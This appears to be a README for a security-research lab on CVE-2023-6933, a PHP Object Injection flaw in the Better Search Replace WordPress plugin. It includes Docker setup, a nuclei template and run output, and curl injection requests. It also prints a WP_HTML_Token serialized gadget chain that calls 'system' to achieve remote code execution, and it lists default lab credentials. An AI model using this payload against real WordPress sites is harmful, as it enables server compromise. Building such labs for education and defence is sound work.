
Hands-on lab for CVE-2023-6933, a PHP Object Injection vulnerability in Better Search Replace WordPress plugin, with Docker deployment, nuclei template, and exploit scripts for security research and education.
This laboratory environment demonstrates CVE-2023-6933, a critical PHP Object Injection vulnerability in the Better Search Replace WordPress plugin versions ≤1.4.4.
/wp-admin/admin-ajax.php with action search_replace_db# Clone the repository
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933
# Deploy using Docker Hub image (automatic pull)
docker-compose up -d
The lab will automatically:
trex999/vulnerable-bsr-lab:latest)# Run the automated POC
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
# Manual testing via curl
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'
The Better Search Replace plugin contains a PHP Object Injection vulnerability in its AJAX handler. The vulnerability occurs when:
search_for parameter via POST to /wp-admin/admin-ajax.phpsearch_replace_dbOur nuclei template demonstrates the vulnerability through multiple verification stages:
The nuclei template (nuclei-templates/cve-2023-6933.yaml) is professionally structured:
$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[INF] Scan completed in 67ms. 4 matches found.
The POC successfully:
⚠️ WARNING: This environment contains intentionally vulnerable software. Use only in isolated testing environments. Do not deploy to production or internet-accessible systems.
docker-compose down -v
Created for educational and security research purposes
Docker_LAB_SETUP/)cve_2023_6933_exploit.php - Comprehensive PHP exploitation toolkitwp_html_token_poc.php - WordPress 6.4.0+ RCE demonstrationbsr_direct_exploit.php - Direct vulnerability testingnuclei-templates/cve-2023-6933.yaml - Advanced nuclei templatemanual-test.sh - Comprehensive manual testing scriptThis lab demonstrates non-error-based detection following best practices for vulnerability research:
Instead of relying on HTTP 500 errors, our tools detect:
Utilizing WordPress 6.4.0+ WP_HTML_Token class for actual RCE:
O:13:"WP_HTML_Token":4:{
s:13:"bookmark_name";s:14:"touch /tmp/rce";
s:9:"node_name";s:8:"testnode";
s:21:"has_self_closing_flag";b:0;
s:10:"on_destroy";s:6:"system";
}
admin-ajax.php)# Test basic plugin presence
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"
# Test vulnerability with safe payload
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"
| Service | URL | Credentials |
|---|---|---|
| WordPress | http://localhost:8080 | admin/admin |
| phpMyAdmin | http://localhost:8081 | root/rootpassword |